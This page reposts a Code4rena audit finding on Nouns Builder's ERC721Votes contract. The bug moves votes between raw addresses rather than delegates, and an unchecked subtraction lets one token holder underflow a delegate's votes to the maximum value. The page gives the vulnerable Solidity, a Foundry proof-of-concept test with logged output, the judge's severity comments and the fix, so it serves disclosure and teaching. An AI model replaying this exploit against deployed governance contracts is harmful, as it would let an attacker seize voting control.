Skip to content
Business logic Audit finding Intermediate

User can get unlimited votes

The vote transfer logic in ERC721Votes moves votes between the token sender and recipient rather than their delegated addresses, and an unchecked subtraction allows an underflow. An attacker with one token can delegate to another address and then back to themselves to obtain the maximum possible voting weight.

saian Follow

Originally disclosed on Code4rena

Submitted by saian, also found by 0x4non, Ch_301, davidbrai, izhuer, MEP, Picodes, PwnPatrol, R2, rotcivegaf, scaraven, and Soosh

aftertokenTransfer in ERC721Votes transfers votes between user addresses instead of the delegated addresses, so a user can cause overflow in _moveDelegates and get unlimited votes.

Proof of Concept

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268

    function _afterTokenTransfer(
        address _from,
        address _to,
        uint256 _tokenId
    ) internal override {
        // Transfer 1 vote from the sender to the recipient
        _moveDelegateVotes(_from, _to, 1);

        super._afterTokenTransfer(_from, _to, _tokenId);
    }

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216

    _moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
    ...
    unchecked {
                ...
                // Update their voting weight
                _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount);
            }

During delegation balanceOf(from) amount of votes transferred are to the _to address

    function test_UserCanGetUnlimitedVotes() public {

        vm.prank(founder);
        auction.unpause();

        vm.prank(bidder1);
        auction.createBid{ value: 1 ether }(2);

        vm.warp(10 minutes + 1 seconds);

        auction.settleCurrentAndCreateNewAuction();

        assertEq(token.ownerOf(2), bidder1);

        console.log(token.getVotes(bidder1)); // 1
        console.log(token.delegates(bidder1)); // 0 bidder1

        vm.prank(bidder1);
        token.delegate(bidder2);

        console.log(token.getVotes(bidder1)); // 1
        console.log(token.getVotes(bidder2)); // 1

        vm.prank(bidder1);
        auction.createBid{value: 1 ether}(3);

        vm.warp(22 minutes);

        auction.settleCurrentAndCreateNewAuction();

        assertEq(token.ownerOf(3), bidder1);

        console.log(token.balanceOf(bidder1)); // 2
        console.log(token.getVotes(bidder1)); // 2
        console.log(token.getVotes(bidder2)); // 1

        vm.prank(bidder1);
        token.delegate(bidder1);

        console.log(token.getVotes(bidder1)); // 4
        console.log(token.getVotes(bidder2)); // 6277101735386680763835789423207666416102355444464034512895
  }

When user1 delegates to another address balanceOf(user1) amount of tokens are subtraced from user2’s votes, this will cause underflow and not revert since the statements are unchecked

Tools Used

Foundry

Recommended Mitigation Steps

Change delegate transfer in afterTokenTransfer to

        _moveDelegateVotes(delegates(_from), delegates(_to), 1);

Alex the Entreprenerd (judge) increased severity to High and commented:

The warden has shown how to exploit:

  • An unchecked section of the code
  • An incorrect logic in moving tokenDelegation

To trigger an underflow that gives each user the maximum voting power.

While some setup is necessary (having 1 token), I think the exploit is impactful enough to warrant High Severity, as any attacker will be able to obtain infinite voting power on multiple accounts.

In contrast to other reports, this finding (as well as it’s duplicates) are using an unchecked operation to negatively overflow the amount of votes to gain the maximum value.

tbtstl (Nouns Builder) confirmed


The original report as published on Code4rena, by saian. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the `_afterTokenTransfer` hook moves votes between the token sender and recipient instead of their delegates, and the unchecked subtraction in `_moveDelegateVotes` allows an underflow when the delegate has fewer votes than the amount moved.

Impact

An attacker with at least one token could obtain the maximum possible voting power on multiple accounts, potentially controlling governance outcomes.

What the attacker needed

At least one token; ability to delegate votes

The fix

The vote transfer in `_afterTokenTransfer` should use the delegates of the sender and recipient rather than the raw addresses.

How it was found

  1. The attacker acquires a token through the auction.
  2. The attacker delegates their votes to a second address.
  3. The attacker acquires a second token.
  4. The attacker delegates back to themselves, causing the second address's vote count to underflow to a huge number.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this voting system, each token gives one vote, and you can let someone else use your votes by delegating. The code that moves votes when a token changes hands used the wrong addresses, and a missing safety check let a number wrap around to a huge value. This meant someone with just one token could end up with an enormous number of votes.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Nouns Builder contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.